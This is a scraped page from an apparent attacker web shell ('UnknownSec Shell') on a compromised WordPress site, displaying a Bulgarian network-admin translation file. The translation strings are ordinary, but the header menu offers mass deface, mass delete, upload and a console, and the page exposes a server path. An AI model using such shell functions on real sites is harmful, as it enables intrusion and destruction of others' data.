shell bypass 403
UnknownSec Shell
:
/
home
/
blife
/
public_html
/
ribari.net
/
wp-content
/
languages
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
admin-network-bg_BG.po
# Translation of WordPress - 4.9.x - Administration - Network Admin in Bulgarian # This file is distributed under the same license as the WordPress - 4.9.x - Administration - Network Admin package. msgid "" msgstr "" "PO-Revision-Date: 2017-11-12 11:43:17+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.0-alpha.4\n" "Language: bg\n" "Project-Id-Version: WordPress - 4.9.x - Administration - Network Admin\n" #: wp-admin/network.php:71 msgid "Network" msgstr "Мрежа" #: wp-admin/network.php:67 wp-admin/network.php:78 msgid "<a href=\"https://codex.wordpress.org/Tools_Network_Screen\">Documentation on the Network Screen</a>" msgstr "<a href=\"https://codex.wordpress.org/Tools_Network_Screen\" target=\"_blank\">Документация за изгледа „Мрежа“</a>" #: wp-admin/network.php:66 wp-admin/network.php:77 msgid "<a href=\"https://codex.wordpress.org/Create_A_Network\">Documentation on Creating a Network</a>" msgstr "<a href=\"https://codex.wordpress.org/Create_A_Network\">Документация за създаването на мрежа</a>" #: wp-admin/network.php:64 msgid "The choice of subdirectory sites is disabled if this setup is more than a month old because of permalink problems with “/blog/” from the main site. This disabling will be addressed in a future version." msgstr "Изборът за мрежа от поддиректории е забранен, в случай че текущата инсталация е по-стара от един месец, поради проблем при постоянните връзки с “/blog/” от основния сайт. Тази забрана ще бъде преразгледана в бъдеща версия на WordPress." #: wp-admin/network.php:63 msgid "Once you add this code and refresh your browser, multisite should be enabled. This screen, now in the Network Admin navigation menu, will keep an archive of the added code. You can toggle between Network Admin and Site Admin by clicking on the Network Admin or an individual site name under the My Sites dropdown in the Toolbar." msgstr "Когато добавите този код и презаредите браузъра си, мулти-сайтовете трябва да са активни. Този екран (сега в навигационното меню на „Мрежов администратор“) ще пази архив на добавения код. Можете да превключвате между „Мрежов администратор“ и „Администратор на сайт“ като щракнете върху „Мрежов администратор“ или върху името на сайта от падащото меню „Моите сайтове“ в лентата с инструменти." #: wp-admin/network.php:62 msgid "Add the designated lines of code to wp-config.php (just before <code>/*...stop editing...*/</code>) and <code>.htaccess</code> (replacing the existing WordPress rules)." msgstr "Добавете указаните редове код в wp-config.php (точно преди <code>/*...stop editing...*/</code>) и <code>.htaccess</code> (ще замените съществуващите правила на WordPress)." #: wp-admin/network.php:61 msgid "The next screen for Network Setup will give you individually-generated lines of code to add to your wp-config.php and .htaccess files. Make sure the settings of your FTP client make files starting with a dot visible, so that you can find .htaccess; you may have to create this file if it really is not there. Make backup copies of those two files." msgstr "Следващата стъпка от „Конфигуриране на мрежата“ ще ви даде генерирани кодове, които да добавите към wp-config.php и .htaccess файловете. Уверете се, че FTP клиента ви е настроен да показва файловете, започващи с точка, така че да можете да намерите .htaccess (може да се наложи да създадете този файл, ако действително не съществува). Направете си резервно копие на файловете, преди да ги редактирате." #: wp-admin/network.php:60 msgid "Choose subdomains or subdirectories; this can only be switched afterwards by reconfiguring your installation. Fill out the network details, and click Install. If this does not work, you may have to add a wildcard DNS record (for subdomains) or change to another setting in Permalinks (for subdirectories)." msgstr "Изберете поддомейни или поддиректории за вашата инсталация. Промяна е възможна и на по-късен етап с преконфигуриране на инсталацията. Попълнете данните за мрежата и натиснете инсталиране. Ако това не работи, вероятно ще се наложи да добавите DNS запис с маска (wildcard), ако сте избрали мрежа с поддомейни, или да промените други настройки в „Постоянни връзки“, в случай, че сте избрали мрежа с поддиректории." #: wp-admin/network.php:59 msgid "This screen allows you to configure a network as having subdomains (<code>site1.example.com</code>) or subdirectories (<code>example.com/site1</code>). Subdomains require wildcard subdomains to be enabled in Apache and DNS records, if your host allows it." msgstr "Текущият екран ви позволява да настроите мрежа от поддомейни (<code>site1.example.com</code>) или поддиректории (<code>example.com/site1</code>). За поддомейните е необходимо да бъдат разрешени поддомейни с маска (wildcard) в Apache и в DNS записите, ако хостингът ви го позволява" #: wp-admin/network.php:55 msgid "Create a Network of WordPress Sites" msgstr "Създаване на мрежа от WordPress сайтове" #. translators: 1: WP_ALLOW_MULTISITE 2: wp-config.php #: wp-admin/network.php:44 msgid "You must define the %1$s constant as true in your %2$s file to allow creation of a Network." msgstr "Константата %1$s във файла %2$s трябва да бъде дефинирана като true, за да може да бъде създадена мрежа." #: wp-admin/network.php:29 msgid "The Network creation panel is not for WordPress MU networks." msgstr "Таблото за създаване на мрежа не е за мрежи на WordPress MU." #: wp-admin/network/users.php:206 msgid "Users deleted." msgstr "Потребителите са изтрити." #: wp-admin/network/users.php:203 msgid "Users removed from spam." msgstr "Потребителите вече не са отбелязани като спам." #: wp-admin/network/users.php:200 msgid "Users marked as spam." msgstr "Потребители, отбелязани като спам." #: wp-admin/network/users.php:174 msgid "You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege." msgstr "Можете да добавите супер администратор като в „Редактиране на потребителски профил“ на вече съществуващ потребител поставите отметка в квадратчето с тази опция. " #: wp-admin/network/users.php:173 msgid "The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses." msgstr "Масовото действие ще изтрие завинаги избраните потребители или ще ги (раз)маркира като спам. Спамърите няма да могат да се регистрират отново със същите имейл адреси и публикациите им ще бъдат изтрити." #: wp-admin/network/users.php:172 msgid "You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list." msgstr "Може да пренареждате таблицата с натискане върху заглавията и да превключвате между изглед в списък или с включен откъс през иконите над списъка с потребители." #: wp-admin/network/users.php:171 msgid "You can also go to the user’s profile page by clicking on the individual username." msgstr "Натиснете върху потребителското име отвежда до страницата на потребителя. " #: wp-admin/network/users.php:170 msgid "Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site." msgstr "Посочете който и да е потребител от списъка, за да видите връзките за редакция. Връзката за редакция вляво ще ви отведе до профилната страница на потребителя. Връзката за редактиране вдясно от името на сайт води до екран за настройки на този сайт." #: wp-admin/network/users.php:169 msgid "This table shows all users across the network and the sites to which they are assigned." msgstr "Тази таблица показва всички потребители в мрежата и сайтовете, в които участват." #: wp-admin/network/users.php:70 msgid "Warning! User cannot be modified. The user %s is a network administrator." msgstr "Внимание! Потребителят не може да бъде редактиран. Потребителят %s е администратор на цялата мрежа." #. translators: %s: edit page url #: wp-admin/network/user-new.php:80 msgid "User added. <a href=\"%s\">Edit user</a>" msgstr "Потребителят е добавен. <a href=\"%s\">Редактиране на потребителя</a>" #: wp-admin/network/user-new.php:49 msgid "Cannot add user." msgstr "Потребителят не може да бъде добавен." #: wp-admin/network/user-new.php:37 msgid "Cannot create an empty user." msgstr "Липсва потребител." #: wp-admin/network/user-new.php:26 wp-admin/network/users.php:179 msgid "<a href=\"https://codex.wordpress.org/Network_Admin_Users_Screen\">Documentation on Network Users</a>" msgstr "<a href=\"https://codex.wordpress.org/Network_Admin_Users_Screen\">Документация за потребителите на мрежата</a>" #: wp-admin/network/user-new.php:21 msgid "Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them." msgstr "Потребителите, които са регистрирани в мрежата без сайт, се добавят със статус „Потребител“ към основното табло на сайта и получават достъп до странициата с профила си, за да го управляват. Тези потребители ще виждат в основното меню само „Табло“ и „Моите сайтове“ преди да си създадат сайт." #: wp-admin/network/user-new.php:20 msgid "Add User will set up a new user account on the network and send that person an email with username and password." msgstr "„Нов потребител\" ще създаде нов потребителски профил в мрежата и ще му изпрати имейл с потребителско име и парола." #: wp-admin/network/upgrade.php:127 msgid "WordPress has been updated! Before we send you on your way, we need to individually upgrade the sites in your network." msgstr "WordPress беше обновен! Преди да продължите, трябва да обновим и всички сайтове от мрежата." #: wp-admin/network/upgrade.php:112 msgid "Next Sites" msgstr "Следващи сайтове" #: wp-admin/network/upgrade.php:112 msgid "If your browser doesn’t start loading the next page automatically, click this link:" msgstr "Ако браузъра ви не зареди следващата страница автоматично, натиснете на тази връзка:" #. translators: 1: site url, 2: server error message #: wp-admin/network/upgrade.php:88 msgid "Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s" msgstr "Внимание! Възникна проблем с обновяването на %1$s. Сървърът ви може да не успява да се свърже със сайтовете. Съобщение за грешка: %2$s" #: wp-admin/network/upgrade.php:68 msgid "All done!" msgstr "Готово!" #: wp-admin/network/upgrade.php:29 msgid "<a href=\"https://codex.wordpress.org/Network_Admin_Updates_Screen\">Documentation on Upgrade Network</a>" msgstr "<a href=\"https://codex.wordpress.org/Network_Admin_Updates_Screen\" target=\"_blank\">Документация за обновяване на мрежата</a>" #: wp-admin/network/upgrade.php:24 msgid "If this process fails for any reason, users logging in to their sites will force the same update." msgstr "Ако този процесът не завърши успешно, при влизането на потребители в техните сайтове обновяването ще се задейства принудително." #: wp-admin/network/upgrade.php:23 msgid "If a version update to core has not happened, clicking this button won’t affect anything." msgstr "Ако ядрото не е обновено, натискането на този бутон няма да промени нищо." #: wp-admin/network/upgrade.php:22 msgid "Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied." msgstr "Този екран трябва да сен използва само след обновяване до нова версия на WordPress през Обновления/Налични обновления (през менюто „Администраторска мрежа“ или „Лента с инструменти“). Натискането на бутона „Обновяване на мрежата“ ще стартира обновяване на всички сайтове, като минава през всеки пет сайта, така че да се уверите, че са приложени обновленията на всички бази от данни." #: wp-admin/network/themes.php:293 msgid "You cannot delete a theme while it is active on the main site." msgstr "Темата не може да бъде изтрита, понеже е включена на главния сайт." #: wp-admin/network/themes.php:287 msgid "%s theme deleted." msgid_plural "%s themes deleted." msgstr[0] "%s тема беше изтрита." msgstr[1] "%s теми бяха изтрити." #: wp-admin/network/themes.php:235 msgid "Themes list navigation" msgstr "Навигация на списъка с теми" #: wp-admin/network/themes.php:229 msgid "<a href=\"https://codex.wordpress.org/Network_Admin_Themes_Screen\">Documentation on Network Themes</a>" msgstr "<a href=\"https://codex.wordpress.org/Network_Admin_Themes_Screen\">Документация за екрана на темите в мрежовата администрация</a>" #: wp-admin/network/themes.php:224 msgid "Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes." msgstr "Администраторът на мрежата може да активира теми за всеки сайт по отделно на екрана \"Редактиране на сайт\", в секция „Теми“. До там се стига през „Редактиране“ в екрана „Всички сайтове“. Само администратор на мрежата може да инсталира или редактира теми." #: wp-admin/network/themes.php:223 msgid "If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site’s Appearance > Themes screen." msgstr "Ако мрежовият администратор изключи за мрежата тема, която се ползва, тя може да остане активна на съответния сайт. Ако е избрана друга тема, изключената няма да се показва във „Външен вид“ > „Теми“ на сайта." #: wp-admin/network/themes.php:222 msgid "This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using." msgstr "Този екран разрешава или забранява избора и включването на някоя от наличните теми за всеки сайт от менюто „Външен вид“. През него не се активира или деактивира темата, която даден сайт ползва в момента." #: wp-admin/network/themes.php:171 msgid "No, return me to the theme list" msgstr "Не, връщане към списъка с теми" #: wp-admin/network/themes.php:163 msgid "Yes, delete these themes" msgstr "Да, потвърждавам изтриването" #: wp-admin/network/themes.php:161 msgid "Yes, delete this theme" msgstr "Потвърждение на изтриването на темата" #: wp-admin/network/themes.php:148 msgid "Are you sure you wish to delete these themes?" msgstr "Наистина ли искате да изтриете тези теми?" #: wp-admin/network/themes.php:146 msgid "Are you sure you wish to delete this theme?" msgstr "Наистина ли искате да изтриете тази тема?" #. translators: 1: theme name, 2: theme author #: wp-admin/network/themes.php:138 msgctxt "theme" msgid "%1$s by %2$s" msgstr "%1$s от %2$s" #: wp-admin/network/themes.php:131 msgid "You are about to remove the following themes:" msgstr "С това ще изтриете следните теми:" #: wp-admin/network/themes.php:130 msgid "These themes may be active on other sites in the network." msgstr "Тези теми може да са активни на други сайтове в мрежата." #: wp-admin/network/themes.php:129 msgid "Delete Themes" msgstr "Изтриване на темите" #: wp-admin/network/themes.php:127 msgid "You are about to remove the following theme:" msgstr "Ще бъде премахната следната тема:" #: wp-admin/network/themes.php:126 msgid "This theme may be active on other sites in the network." msgstr "Възможно е темата да е включена за някой сайт в мрежата." #: wp-admin/network/themes.php:125 msgid "Delete Theme" msgstr "Изтриване на тема" #: wp-admin/network/themes.php:90 msgid "Sorry, you are not allowed to delete themes for this site." msgstr "Нямате права за изтриване на теми в този сайт." #: wp-admin/network/themes.php:14 msgid "Sorry, you are not allowed to manage network themes." msgstr "Нямате права за управление на темите в мрежата." #: wp-admin/network/sites.php:306 msgid "Site marked as spam." msgstr "Сайтът е отбелязан като спам." #: wp-admin/network/sites.php:303 msgid "Site removed from spam." msgstr "Сайтът вече не е отбелязан като спам." #: wp-admin/network/sites.php:300 msgid "Site deactivated." msgstr "Сайта бе деактивиран" #: wp-admin/network/sites.php:297 msgid "Site activated." msgstr "Сайтът е активиран." #: wp-admin/network/sites.php:294 msgid "Site unarchived." msgstr "Сайтът беше разархивиран." #: wp-admin/network/sites.php:291 msgid "Site archived." msgstr "Сайтът е архивиран." #: wp-admin/network/sites.php:288 msgid "Sorry, you are not allowed to delete that site." msgstr "Нямате права да изтриете този сайт." #: wp-admin/network/sites.php:285 msgid "Site deleted." msgstr "Сайтът бе изтрит." #: wp-admin/network/sites.php:282 msgid "Sites deleted." msgstr "Сайтовете са изтрити." #: wp-admin/network/sites.php:279 msgid "Sites marked as spam." msgstr "Сайтове, отбелязани като спам." #: wp-admin/network/sites.php:276 msgid "Sites removed from spam." msgstr "Сайтовете вече не са маркирани като спам." #: wp-admin/network/sites.php:173 msgid "You are about to delete the following sites:" msgstr "Следните сайтове ще бъдат изтрити:" #: wp-admin/network/sites.php:149 msgid "Sorry, you are not allowed to delete the site %s." msgstr "Нямате права да изтриете сайта %s." #: wp-admin/network/sites.php:107 wp-admin/network/sites.php:185 msgid "Confirm" msgstr "Потвърждение" #: wp-admin/network/sites.php:100 wp-admin/network/sites.php:168 msgid "Confirm your action" msgstr "Потвърждаване на действието" #: wp-admin/network/sites.php:91 wp-admin/network/sites.php:200 msgid "Sorry, you are not allowed to change the current site." msgstr "Нямате право да променяте този сайт." #: wp-admin/network/sites.php:75 msgid "The requested action is not valid." msgstr "Това действие не съществува." #: wp-admin/network/sites.php:67 msgid "You are about to mark the site %s as not mature." msgstr "С това ще отбележите %s като сайт, подходящ за всички възрасти" #: wp-admin/network/sites.php:66 msgid "You are about to mark the site %s as mature." msgstr "С това действие ще отбележите %s като сайт със съдържание за възрастни (18+)" #: wp-admin/network/sites.php:65 msgid "You are about to delete the site %s." msgstr "Предстои да бъде изтрит сайтът %s." #: wp-admin/network/sites.php:64 msgid "You are about to mark the site %s as spam." msgstr "Предстои сайтът %s да бъде отбелязан като нежелан." #: wp-admin/network/sites.php:63 msgid "You are about to unspam the site %s." msgstr "С това действие ще премахнете %s от списъка със спам." #: wp-admin/network/sites.php:62 msgid "You are about to archive the site %s." msgstr "Предстои да архивирате сайта %s." #: wp-admin/network/sites.php:61 msgid "You are about to unarchive the site %s." msgstr "С това действие ще разархивирате сайта %s." #: wp-admin/network/sites.php:60 msgid "You are about to deactivate the site %s." msgstr "Предстои да деактивирате сайта %s." #: wp-admin/network/sites.php:59 msgid "You are about to activate the site %s." msgstr "Предстои да активирате сайта %s." #: wp-admin/network/sites.php:48 msgid "Sites list" msgstr "Списък със сайтове " #: wp-admin/network/sites.php:47 msgid "Sites list navigation" msgstr "Навигация на списъка със сайтове" #: wp-admin/network/sites.php:37 msgid "Clicking on bold headings can re-sort this table." msgstr "Натискането на удебелените заглавия сортира полетата в таблицата." #: wp-admin/network/sites.php:36 msgid "The site ID is used internally, and is not shown on the front end of the site or to users/viewers." msgstr "ID (идентификатор) на сайта се използва вътрешно и не е видим на публичния интерфейс или за потребителите/посетителите." #: wp-admin/network/sites.php:35 msgid "Visit to go to the front-end site live." msgstr "Към сайта, за да посетите представителната част на сайта, видима от посетителите му." #: wp-admin/network/sites.php:34 msgid "Delete which is a permanent action after the confirmation screens." msgstr "Изтриване, което е окончателно след потвърждение." #: wp-admin/network/sites.php:33 msgid "Deactivate, Archive, and Spam which lead to confirmation screens. These actions can be reversed later." msgstr "Деактивиране, Архивиране и Спам водят към екрани за потвърждение. Тези действия могат да бъдат отменени по-късно." #: wp-admin/network/sites.php:32 msgid "Dashboard leads to the Dashboard for that site." msgstr "Табло води към Таблото на сайта." #: wp-admin/network/sites.php:31 msgid "An Edit link to a separate Edit Site screen." msgstr "Линк „Редактиране\", който води към самостоятелен екран „Редактиране на сайт\"." #: wp-admin/network/sites.php:30 msgid "Hovering over each site reveals seven options (three for the primary site):" msgstr "Минаването с мишка над името на всеки сайт показва седем настройки (три за основния сайт):" #: wp-admin/network/sites.php:29 msgid "This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table." msgstr "Това е главната таблица на всички сайтове от тази мрежа. Превключвайте между изгледите като списък и с описание като използвате иконите над дясната страна на таблицата." #: wp-admin/network/sites.php:28 msgid "Add New takes you to the Add New Site screen. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page." msgstr "„Добавяне на нов“ ви отвежда към екрана „Добавяне на нов сайт“. Можете да търсите за сайт по име, ID или IP адрес. През „Настройки на екрана“ се избира броя сайтове, които виждате на страница. " #: wp-admin/network/site-users.php:346 wp-admin/network/user-new.php:117 msgid "A password reset link will be sent to the user via email." msgstr "Потребителят ще получи връзка за промяна на паролата по имейл." #: wp-admin/network/site-users.php:310 wp-admin/network/user-new.php:129 msgid "Add User" msgstr "Нов потребител" #: wp-admin/network/site-users.php:261 msgid "Duplicated username or email address." msgstr "Съществуващо потребителско име или имейл." #: wp-admin/network/site-users.php:258 msgid "Enter the username and email." msgstr "Въведете потребителско име и имейл." #: wp-admin/network/site-users.php:255 msgid "User created." msgstr "Потребителят бе създаден." #: wp-admin/network/site-users.php:252 msgid "Select a user to remove." msgstr "Избор на потребител за премахване." #: wp-admin/network/site-users.php:246 msgid "Select a user to change role." msgstr "Избор на потребител за промяна на ролята." #: wp-admin/network/site-users.php:240 msgid "Enter the username of an existing user." msgstr "Въведете съществуващо потребителско име." #: wp-admin/network/site-users.php:237 msgid "User could not be added to this site." msgstr "Потребителят не може да бъде добавен към този сайт." #: wp-admin/network/site-users.php:234 msgid "User is already a member of this site." msgstr "Потребителят вече е член на този сайт." #: wp-admin/network/site-users.php:25 msgid "Site users list" msgstr "Списък с потребителите на сайта" #: wp-admin/network/site-users.php:24 msgid "Site users list navigation" msgstr "Списъка с потребителите на сайта" #: wp-admin/network/site-users.php:23 msgid "Filter site users list" msgstr "Филтриране на списъка с потребители на сайта " #: wp-admin/network/site-themes.php:190 msgid "Network enabled themes are not shown on this screen." msgstr "Темите, разрешени за мрежата, не са показани на този екран." #: wp-admin/network/site-themes.php:187 wp-admin/network/themes.php:291 msgid "No theme selected." msgstr "Не е избрана тема." #: wp-admin/network/site-themes.php:183 wp-admin/network/themes.php:279 msgid "%s theme disabled." msgid_plural "%s themes disabled." msgstr[0] "%s тема беше изключена." msgstr[1] "%s теми бяха изключени." #: wp-admin/network/site-themes.php:181 wp-admin/network/themes.php:277 msgid "Theme disabled." msgstr "Темата бе забранена." #: wp-admin/network/site-themes.php:175 wp-admin/network/themes.php:271 msgid "%s theme enabled." msgid_plural "%s themes enabled." msgstr[0] "%s тема беше включена." msgstr[1] "%s теми бяха включени." #: wp-admin/network/site-themes.php:173 wp-admin/network/themes.php:269 msgid "Theme enabled." msgstr "Темата бе разрешена." #: wp-admin/network/site-themes.php:22 msgid "Site themes list" msgstr "Списъка с теми на сайта " #: wp-admin/network/site-themes.php:21 msgid "Site themes list navigation" msgstr "Навигация за списъка с теми на сайта" #: wp-admin/network/site-themes.php:20 msgid "Filter site themes list" msgstr "Филтриране на списъка с теми на сайта" #: wp-admin/network/site-themes.php:14 msgid "Sorry, you are not allowed to manage themes for this site." msgstr "Нямате права за управление на теми в този сайт." #: wp-admin/network/site-settings.php:66 msgid "Site options updated." msgstr "Настройките на сайта бяха обновени." #: wp-admin/network/site-new.php:264 msgid "Add Site" msgstr "Добавяне на сайт" #: wp-admin/network/site-new.php:252 msgid "The username and a link to set the password will be mailed to this email address." msgstr "Потребителското име и връзка за въвеждане на парола ще бъдат изпратени на този имейл адрес." #: wp-admin/network/site-new.php:252 msgid "A new user will be created if the above email address is not in the database." msgstr "Ако този имейл адрес не е регистриран в базата, с него ще бъде създаден нов потребител." #: wp-admin/network/site-new.php:248 msgid "Admin Email" msgstr "Имейл на администратора" #: wp-admin/network/site-new.php:208 msgid "Only lowercase letters (a-z), numbers, and hyphens are allowed." msgstr "Единствените допустими символи са малки латински букви (a-z), числа и тирета." #: wp-admin/network/site-new.php:181 wp-admin/network/site-new.php:191 msgid "Add New Site" msgstr "Добавяне на нов сайт" #. translators: 1: dashboard url, 2: network admin edit url #: wp-admin/network/site-new.php:175 msgid "Site added. <a href=\"%1$s\">Visit Dashboard</a> or <a href=\"%2$s\">Edit Site</a>" msgstr "Сайтът е добавен. <a href=\"%1$s\">Към Таблото</a> или <a href=\"%2$s\">Редактиране на сайта</a>" #: wp-admin/network/site-new.php:158 msgctxt "email \"From\" field" msgid "Site Admin" msgstr "Администратор на сайта" #. translators: 1: user login, 2: site url, 3: site name/title #: wp-admin/network/site-new.php:148 msgid "" "New site created by %1$s\n" "\n" "Address: %2$s\n" "Name: %3$s" msgstr "" "Нов сайт бе създаден от %1$s\n" "\n" "Адрес: %2$s\n" "Име: %3$s" #. translators: %s: network name #: wp-admin/network/site-new.php:143 msgid "[%s] New Site Created" msgstr "[%s] Нов сайт" #: wp-admin/network/site-new.php:118 msgid "There was an error creating the user." msgstr "Грешка при създаване на потребителя." #: wp-admin/network/site-new.php:113 msgid "The domain or path entered conflicts with an existing username." msgstr "Въведените домейнът или път са в конфликти със съществуващо потребителско име." #: wp-admin/network/site-new.php:83 msgid "Missing email address." msgstr "Липсващ имейл адрес." #: wp-admin/network/site-new.php:80 msgid "Missing or invalid site address." msgstr "Липсващ или невалиден адрес на сайт" #. translators: %s: reserved names list #: wp-admin/network/site-new.php:52 msgid "The following words are reserved for use by WordPress functions and cannot be used as blog names: %s" msgstr "Следните думи са запазени за функции на WordPress и не могат да се ползват като имена на блог: %s" #: wp-admin/network/site-new.php:38 msgid "Can’t create an empty site." msgstr "Не може да бъде създаден празен сайт." #: wp-admin/network/site-new.php:25 msgid "If the admin email for the new site does not exist in the database, a new user will also be created." msgstr "Ако имейла на администратора на новия сайт не съществува в базата данни, ще бъде създаден и нов потребител." #: wp-admin/network/site-new.php:24 msgid "This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings." msgstr "Екранът е предназначен за добавяне на нови сайтове към мрежата от страна на администраторите на мрежата. Настройките на регистрация не влияят върху процеса. " #: wp-admin/network/site-new.php:17 msgid "Sorry, you are not allowed to add sites to this network." msgstr "Нямате права за добавяне на сайтове в тази мрежа." #: wp-admin/network/site-info.php:183 msgid "Set site attributes" msgstr "Маркирайте атрибутите на сайта" #: wp-admin/network/site-info.php:180 msgid "Attributes" msgstr "Атрибути" #. translators: %s: site name #: wp-admin/network/site-info.php:117 wp-admin/network/site-settings.php:70 #: wp-admin/network/site-themes.php:153 wp-admin/network/site-users.php:196 msgid "Edit Site: %s" msgstr "Редактиране: %s" #: wp-admin/network/site-info.php:112 msgid "Site info updated." msgstr "Информацията за сайта бе обновена." #: wp-admin/network/site-info.php:28 wp-admin/network/site-settings.php:26 #: wp-admin/network/site-themes.php:49 wp-admin/network/site-users.php:42 msgid "The requested site does not exist." msgstr "Този сайт не съществува." #: wp-admin/network/site-info.php:23 wp-admin/network/site-settings.php:22 #: wp-admin/network/site-themes.php:43 wp-admin/network/site-users.php:38 msgid "Invalid site ID." msgstr "Невалиден ID на сайт." #: wp-admin/network/site-info.php:14 wp-admin/network/site-settings.php:14 #: wp-admin/network/site-users.php:14 msgid "Sorry, you are not allowed to edit this site." msgstr "Нямате права да редактирате този сайт." #: wp-admin/network/settings.php:420 msgid "Enable menus" msgstr "Включване на менютата" #: wp-admin/network/settings.php:398 msgid "Enable administration menus" msgstr "Включване на административните менюта" #: wp-admin/network/settings.php:369 msgid "Default Language" msgstr "Език по подразбиране" #: wp-admin/network/settings.php:366 msgid "Language Settings" msgstr "Езикови настройки" #: wp-admin/network/settings.php:355 msgid "Size in kilobytes" msgstr "Размер в килобайтове" #. translators: %s: File size in kilobytes #: wp-admin/network/settings.php:350 msgid "%s KB" msgstr "%s КБ" #: wp-admin/network/settings.php:345 msgid "Max upload file size" msgstr "Максимална големина на файла за качване" #: wp-admin/network/settings.php:339 msgid "Allowed file types. Separate types by spaces." msgstr "Разрешени файлови типове. Разделяйте типовете с интервали." #: wp-admin/network/settings.php:335 msgid "Upload file types" msgstr "Видове файлове за качване" #: wp-admin/network/settings.php:327 msgid "Limit total size of files uploaded to %s MB" msgstr "Ограничаване на общия размер на качените файлове до %s МБ." #: wp-admin/network/settings.php:325 msgid "Site upload space" msgstr "Място за качване на сайта" #: wp-admin/network/settings.php:322 msgid "Upload Settings" msgstr "Настройки за качване" #: wp-admin/network/settings.php:317 msgid "The URL for the first comment on a new site." msgstr "Адресът (URL) на първия коментар в нов сайт." #: wp-admin/network/settings.php:313 msgid "First Comment URL" msgstr "Адрес (URL) на първия коментар" #: wp-admin/network/settings.php:308 msgid "The email address of the first comment author on a new site." msgstr "Имейл адресът на автора на първия коментар в нов сайт." #: wp-admin/network/settings.php:304 msgid "First Comment Email" msgstr "Имейл за първия коментар" #: wp-admin/network/settings.php:299 msgid "The author of the first comment on a new site." msgstr "Авторът на първия коментар на новия сайт" #: wp-admin/network/settings.php:295 msgid "First Comment Author" msgstr "Автор на първия коментар" #: wp-admin/network/settings.php:290 msgid "The first comment on a new site." msgstr "Първият коментар в новия сайт." #: wp-admin/network/settings.php:285 msgid "First Comment" msgstr "Първи коментар" #: wp-admin/network/settings.php:280 msgid "The first page on a new site." msgstr "Първата страница на новия сайт." #: wp-admin/network/settings.php:275 msgid "First Page" msgstr "Първа страница" #: wp-admin/network/settings.php:270 msgid "The first post on a new site." msgstr "Първата публикация в новия сайт." #: wp-admin/network/settings.php:260 msgid "The welcome email sent to new users." msgstr "Имейлът за добре дошли беше изпратен до новите потребители" #: wp-admin/network/settings.php:255 msgid "Welcome User Email" msgstr "Имейл за нов потребител" #: wp-admin/network/settings.php:250 msgid "The welcome email sent to new site owners." msgstr "Изпратен е имейл за добре дошли на новите собствениците на сайтове." #: wp-admin/network/settings.php:245 msgid "Welcome Email" msgstr "Имейл за добре дошли" #: wp-admin/network/settings.php:241 msgid "New Site Settings" msgstr "Настройки за нов сайт" #: wp-admin/network/settings.php:235 msgid "If you want to ban domains from site registrations. One domain per line." msgstr "За забрана на регистрация на сайтове на определени домейни. По един домейн на ред." #: wp-admin/network/settings.php:230 msgid "Banned Email Domains" msgstr "Забранени имейл домейни" #: wp-admin/network/settings.php:224 msgid "If you want to limit site registrations to certain domains. One domain per line." msgstr "За да ограничите регистрацията на сайтове до определени домейни. По един домейн на ред." #: wp-admin/network/settings.php:217 msgid "Limited Email Registrations" msgstr "Ограничен брой регистрации на имейли" #: wp-admin/network/settings.php:211 msgid "Users are not allowed to register these sites. Separate names by spaces." msgstr "На потребители не е разрешено да регистрират тези сайтове. Разделяйте имената с интервали." #: wp-admin/network/settings.php:207 msgid "Banned Names" msgstr "Забранени имена" #: wp-admin/network/settings.php:202 msgid "Allow site administrators to add new users to their site via the \"Users → Add New\" page" msgstr "Позволяване на администраторите на сайта да добавят нови потребители в страницата „Потребители → Добавяне на нови“." #: wp-admin/network/settings.php:200 msgid "Add New Users" msgstr "Добавяне на нови потребители" #: wp-admin/network/settings.php:195 msgid "Send the network admin an email notification every time someone registers a site or user account" msgstr "Уведомяване на мрежовия администратор по имейл всеки път, когато някой регистрира сайт или потребителски профил." #: wp-admin/network/settings.php:189 msgid "Registration notification" msgstr "Уведомяване за регистрация" #. translators: 1: NOBLOGREDIRECT 2: wp-config.php #: wp-admin/network/settings.php:178 msgid "If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site." msgstr "Ако регистрацията е изключена, моля задайте %1$s в %2$s към връзка, към която ще препращате посетителите на сайта, ако посетят несъществуваща страница." #: wp-admin/network/settings.php:174 msgid "Both sites and user accounts can be registered" msgstr "Могат да бъдат регистрирани и сайтове, и потребителски профили." #: wp-admin/network/settings.php:173 msgid "Logged in users may register new sites" msgstr "Влезлите потребители могат да създават нови сайтове" #: wp-admin/network/settings.php:172 msgid "User accounts may be registered" msgstr "Могат да бъдат регистрирани потребителски профили." #: wp-admin/network/settings.php:171 msgid "Registration is disabled" msgstr "Регистрацията e изключена" #: wp-admin/network/settings.php:170 msgid "New registrations settings" msgstr "Настройки за новите регистрации" #: wp-admin/network/settings.php:162 msgid "Allow new registrations" msgstr "Позволяване на регистрация на нови потребители" #: wp-admin/network/settings.php:159 msgid "Registration Settings" msgstr "Настройки за регистрацията" #. translators: %s: new network admin email #: wp-admin/network/settings.php:145 msgid "There is a pending change of the network admin email to %s." msgstr "Има чакаща промяна на имейл адреса на администратора на мрежата на %s." #: wp-admin/network/settings.php:122 